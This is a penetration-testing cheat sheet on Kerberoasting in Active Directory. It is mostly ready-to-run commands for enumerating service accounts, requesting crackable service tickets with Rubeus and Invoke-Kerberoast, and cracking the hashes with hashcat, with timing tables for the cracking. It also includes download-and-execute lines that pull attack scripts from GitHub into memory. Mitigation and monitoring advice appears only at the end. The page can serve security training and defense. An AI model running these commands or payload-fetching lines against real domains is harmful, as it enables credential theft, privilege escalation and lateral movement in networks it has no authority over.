Kerberoasting

https://attack.mitre.org/techniques/T1558/003/

ATT&CK ID: T1558.003

Permissions Required: Valid Domain Account | Ability to sniff domain traffic

Description

Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to Brute Force.

Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service).

Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC). Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline Brute Force attacks that may expose plain text credentials.

Cracked hashes may enable Persistence, Privilege Escalation, and Lateral Movement via access to Valid Accounts.

[Source]

Enumeration

CMD

# Gets all SPNs, Includes machine account SPNs
setspn -T [Domain] -Q */*

Powerview

Get-DomainUser -SPN | Select SamAccountName,DisplayName,ServicePrincipalName

Get-SPNs

iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/The-Viper-One/RedTeam-Pentest-Tools/main/Kerberoasting/Get-SPNs.ps1")

Exploitation

Rubeus (Binary)

Documentation: https://github.com/GhostPack/Rubeus#kerberoast

# Kerberoast all users in Domain and output to file
Rubeus.exe kerberoast /simple /outfile:C:\Temp\Kerbhashes.txt

# Kerberoast all users in alternative Domain
Rubeus.exe kerberoast /nowrap /domain:[Domain]

# Only kerberoast RC4 compatible types
Rubeus.exe kerberoast /nowrap /rc4opsec

# Only kerberoast AES compatible types
Rubeus.exe kerberoast /nowrap /aes

# Specific users
Rubeus.exe kerberoast /user:[User] /nowrap

# List statistics about found Kerberoastable accounts (Quiet)
Rubeus.exe kerberoast /stats

Rubeus (PowerShell)

# Kerberoast all users in Domain and output to file
Invoke-Rubeus -Command "kerberoast /simple /outfile:C:\Temp\Kerbhashes.txt"

# Kerberoast all users in alternative Domain
Invoke-Rubeus -Command "kerberoast /nowrap /domain:[Domain]"

# Only kerberoast RC4 compatible types
Invoke-Rubeus -Command "kerberoast /nowrap /rc4opsec"

# Only kerberoast AES compatible types
Invoke-Rubeus -Command "kerberoast /nowrap /aes"

# Specific users
Invoke-Rubeus -Command "kerberoast /user:[User] /nowrap"

# List statistics about found Kerberoastable accounts (Quiet)
Invoke-Rubeus -Command "kerberoast /stats"

Invoke-Kerberoast

The hashes produced for type 18 and type 17 are not calculated correctly in this script and will not crack. Use Rubeus instead if you need to obtain type 18 or 17 hashes.

# Load into memory
IEX(IWR https://raw.githubusercontent.com/BC-SECURITY/Empire/main/empire/server/data/module_source/credentials/Invoke-Kerberoast.ps1)

# Standard Run
Invoke-Kerberoast | FL

# Dump only hashes in a file
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object -ExpandProperty Hash | Out-File "[Path]" -Encoding "ASCII"

Hash Cracking

Good list for cracking: https://gist.github.com/The-Viper-One/a1ee60d8b3607807cc387d794e809f0b

hashcat -m 13100 -a 0 -O hashes.txt rockyou.txt -r rules.rule

etype           Value        Hashcat mode
AES128           17            19600
AES256           18            19700
RC4              23            13100

Cracking time between RC4 and AES256 (Dictionary)

GPUWordlistRuleAttemptsAES256 TimeRC4 Time

GTX 980

Rockyou

Best64

1 Billion

1 hour, 22 mins

9 Seconds

RTX 3090 x 2 + RTX3070

Rockyou

Best64

1 Billion

7 Minutes, 13 Seconds

Instant

GTX 980

rockyou2021

Best64

651 Billion

36 Days

1 Hour, 56 minutes

RTX 3090 x 2 + RTX3070

rockyou2021

Best64

651 Billion

3 Days, 2 hours

4 mins, 50 seconds

Cracking time between RC4 and AES256 (bruteforce)

GPUAES256 TimeRC4 TimePass Length

GTX 980

Basically forever

173 years, 22 days

9

RTX 3090 x 2 + RTX3070

Basically forever

6 years, 25 days

9

Mitigation

  1. Maintain service account passwords with a minimum length of 25 characters and ensure they are generated using a completely random process.

  2. Implement regular password rotations for service accounts to enhance security.

  3. Ensure service accounts have minimal permissions within the domain

  4. Enforce the usage of AES256 encryption instead of RC4 for Kerberos authentication.

  5. Ensure that your Key Distribution Center (KDC) is running at least Windows Server 2019. Older server versions may default to using RC4 encryption when an encryption downgrade request is initiated.

  6. Whenever feasible, leverage Group Managed Service Accounts (GMSA) for service account management.

Monitoring

Regularly review Windows Event Logs, specifically the Security event log. Look for Event ID 4769 (Kerberos service ticket requests) that indicate service ticket requests for accounts. Unusual or suspicious patterns should be investigated.

Deploy honeytokens or honeyaccounts, which are fake accounts or credentials that are monitored. If these are accessed, it could indicate an attacker attempting to perform kerberoasting based attack.

Monitor for LDAP queries which may be used to discover accounts with SPNs. This is often performed by adversaries to perform initial discovery:

(servicePrincipalName=*)

References

Last updated